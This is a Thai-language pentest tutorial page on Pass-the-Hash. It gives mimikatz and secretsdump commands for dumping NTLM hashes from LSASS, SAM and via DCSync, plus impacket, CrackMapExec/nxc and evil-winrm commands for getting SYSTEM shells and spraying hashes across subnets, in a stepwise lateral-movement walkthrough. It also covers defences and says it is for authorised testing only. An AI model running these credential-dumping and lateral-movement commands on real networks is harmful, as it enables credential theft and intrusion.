คลัง
windows-privesc

Pass-the-Hash

Pass-the-Hash (PtH) คือการ authenticate ด้วย NTLM hash โดยตรงโดยไม่ต้องรู้รหัสจริง — ใช้ในการ lateral movement และยกระดับสิทธิ์ ภายในโดเมน/เครื่อง Windows บทนี้ลงลึกกลไก NTLM auth, การได้ hash, การ pass ด้วยเครื่องมือต่างๆ (impacket/CrackMapExec/evil-winrm/mimikatz), และการป้องกัน (เนื้อหาเพื่อทดสอบในระบบที่ได้รับอนุญาตเท่านั้น)

IntermediateAdvanced#pass-the-hash#windows#lateral-movement#ntlm#mimikatz#impacket#ctf

1. หลักการ — ทำไม hash ใช้แทนรหัสได้

NTLM authentication พิสูจน์ตัวตนด้วย NTLM hash ของรหัส ไม่ใช่รหัส plaintext — โปรโตคอลใช้ hash ในการคำนวณ response ดังนั้นถ้าเรามี hash ก็ authenticate ได้โดยไม่ต้องรู้/crack รหัสจริง นี่คือ Pass-the-Hash ใช้ในการ lateral movement (ใช้ hash ของ admin ที่ dump มาเข้าเครื่องอื่น) และเข้าถึง service ต่างๆ

เนื้อหานี้เพื่อการทดสอบเจาะระบบที่ได้รับอนุญาต (engagement/lab/CTF) เท่านั้น

2. การได้ NTLM hash

แหล่ง hashWindows
# จาก LSASS (เครื่องที่ยึดแล้ว, ต้อง admin/SYSTEM)
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords     # NTLM hash ของ user ที่ login
mimikatz # sekurlsa::msv

# จาก SAM (local accounts)
mimikatz # lsadump::sam
# หรือ impacket จาก hive
secretsdump.py -sam SAM -system SYSTEM LOCAL

# จาก domain (DCSync — ดูหัวข้อ DCSync)
secretsdump.py domain/DAuser:pass@DC -just-dc

# จาก dump ระยะไกล
secretsdump.py domain/user:pass@TARGET_IP
LSASS (sekurlsa), SAM (local), DCSync (domain); hash format = LM:NT หรือแค่ NT (32 hex)

3. Pass-the-Hash ด้วยเครื่องมือต่างๆ

impacket / CrackMapExec / evil-winrmLinux
# === impacket (จาก Linux) — ใช้ -hashes :NTHASH ===
psexec.py -hashes :NTHASH domain/Administrator@TARGET_IP   # SYSTEM shell
wmiexec.py -hashes :NTHASH domain/Administrator@TARGET_IP  # เนียนกว่า (ไม่สร้าง service)
smbexec.py -hashes :NTHASH domain/Administrator@TARGET_IP
atexec.py -hashes :NTHASH domain/admin@TARGET command

# === CrackMapExec — spray hash หลายเครื่อง ===
crackmapexec smb 10.10.10.0/24 -u Administrator -H NTHASH
crackmapexec smb TARGET -u Administrator -H NTHASH -x "whoami"   # รันคำสั่ง
# --local-auth สำหรับ local account

# === evil-winrm (ถ้า WinRM เปิด) ===
evil-winrm -i TARGET_IP -u Administrator -H NTHASH

# === mimikatz (จาก Windows) — pass-the-hash เปิด process ===
# mimikatz # sekurlsa::pth /user:Administrator /domain:domain /ntlm:NTHASH /run:cmd
impacket -hashes :NTHASH (เว้น LM); wmiexec เนียนกว่า psexec; CrackMapExec spray หลายเครื่องหา hash ที่ใช้ได้; evil-winrm ถ้า WinRM

4. ใช้ในการ lateral movement

  • spray hash: CrackMapExec ลอง hash ของ local admin กับหลายเครื่องในเครือข่าย — เครื่องที่ใช้รหัส local admin เดียวกัน (password reuse) จะเข้าได้หมด
  • หา where admin: CrackMapExec แสดง (Pwn3d!) เมื่อ hash ให้สิทธิ์ admin บนเครื่องนั้น
  • dump เพิ่ม: เข้าเครื่องใหม่ → dump LSASS หา hash/credential ใหม่ → pivot ต่อ
  • over-pass-the-hash: ใช้ NTLM hash ขอ Kerberos TGT (เนียนกว่า NTLM, ดู AD)
  • ระวัง: local admin hash ใช้ PtH ได้; domain admin ควรระวัง Protected Users/ตรวจจับ

5. การป้องกัน

  • LAPS — สุ่มรหัส local admin แต่ละเครื่อง (กัน password reuse → spray)
  • Credential Guard — แยก LSASS ป้องกัน dump hash
  • Protected Users group — ปิด NTLM สำหรับบัญชีสำคัญ
  • จำกัด local admin, ไม่ใช้รหัสเดียวกันหลายเครื่อง
  • monitor: psexec/wmiexec pattern, logon type 3 ผิดปกติ, Event 4624/4672
  • ปิด NTLM ใช้ Kerberos เท่านั้นถ้าทำได้

6. Quick Reference

  • NTLM auth ใช้ hash ไม่ใช่รหัส → มี hash = login ได้ (ไม่ต้อง crack)
  • ได้ hash: mimikatz sekurlsa::logonpasswords, secretsdump.py
  • PtH: psexec.py/wmiexec.py -hashes :NTHASH domain/Admin@TARGET
  • spray: crackmapexec smb SUBNET -u Admin -H HASH (หา Pwn3d!)
  • evil-winrm -i TARGET -u Admin -H HASH (WinRM)
  • lateral: spray → dump เพิ่ม → pivot; over-PtH → Kerberos
  • ป้องกัน: LAPS, Credential Guard, Protected Users

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติมี NTLM hash ของ user ใครสักคนอยู่ในมือแล้ว (จาก dump LSASS/SAM) แต่ยังไม่รู้จะใช้ยังไงต่อ มีแค่ Kali ทำตามนี้ทีละขั้น

  1. 1เช็คว่า hash format ถูกไหม (NT hash เดี่ยว 32 hex หรือ LM:NT) ถ้ามีแค่ NT ให้ใช้เป็น :NThash
  2. 2สแกนดูว่าเครือข่ายเปิด SMB ที่ไหนบ้าง: nxc smb 10.10.10.0/24
  3. 3spray hash กับทั้ง subnet: nxc smb 10.10.10.0/24 -u Administrator -H --local-auth
  4. 4ดูผลลัพธ์ — เครื่องไหนขึ้น (Pwn3d!) คือ hash ใช้เป็น admin บนเครื่องนั้นได้
  5. 5เข้า shell ผ่าน impacket: impacket-psexec -hashes : domain/Administrator@ (ได้ SYSTEM shell ทันที)
  6. 6ถ้าอยากเนียนกว่า (ไม่สร้าง service ใหม่): impacket-wmiexec -hashes : domain/Administrator@
  7. 7หรือถ้า WinRM เปิด (port 5985): evil-winrm -i -u Administrator -H
  8. 8เข้าไปแล้ว dump credential เพิ่มจากเครื่องใหม่ (LSASS/SAM) เพื่อหา hash ใหม่ไล่ pivot ต่อ
  9. 9ถ้า hash ไม่ขึ้น Pwn3d! ที่ไหนเลย ให้ลองใช้กับ service เฉพาะที่รู้ว่า user มีสิทธิ์ (เช่น MSSQL, WinRM) หรือลอง impacket-atexec/smbexec
  10. 10ถ้าตันสนิท กลับไป dump credential จากเครื่องอื่นที่ยึดได้แล้ว วนซ้ำ
ตัดสินใจ: pass-the-hash ไปต่อยังไง
มี NTLM hash ในมือ (จาก credential dumping) แล้วหรือยัง?
❌ ยังไม่มี→ ไป dump credential ก่อน
✅ มีแล้ว→ spray หา target
nxc smb <subnet> -u user -H hash --local-auth
เจอเครื่องที่ขึ้น (Pwn3d!) ไหม?
❌ ไม่เจอเลย→ ลอง service เฉพาะ (MSSQL/WinRM) หรือ atexec/smbexec
✅ เจอ→ เข้า shell ด้วย psexec/wmiexec/evil-winrm
impacket-wmiexec -hashes :hash domain/user@target
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
สแกนหา target ที่เปิด SMB/WinRMnxc / crackmapexecpipx install netexec-
spray hash ทั้ง subnetnxc smb / crackmapexec smbpipx install netexec-
เข้า shell (SYSTEM) ด้วย hashimpacket-psexec / wmiexec / smbexecpipx install impacket-
เข้า shell ผ่าน WinRMevil-winrmgem install evil-winrm-
รันคำสั่งเดียวระยะไกลไม่ต้องเปิด shellimpacket-atexecpipx install impacket-
เตรียม reverse shell สำรองnc / msfvenom-revshells.com
🚑 ถ้าตันสนิท ลองท่าถัดไป: Credential Dumping (หา hash ใหม่จากเครื่องที่เพิ่งเข้าได้), Token Abuse (ถ้าเข้าไปแล้วยังไม่ SYSTEM ให้ลอง Potato), Win Services / Registry (ถ้าต้อง privesc ต่อในเครื่องที่เข้าไปได้)

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้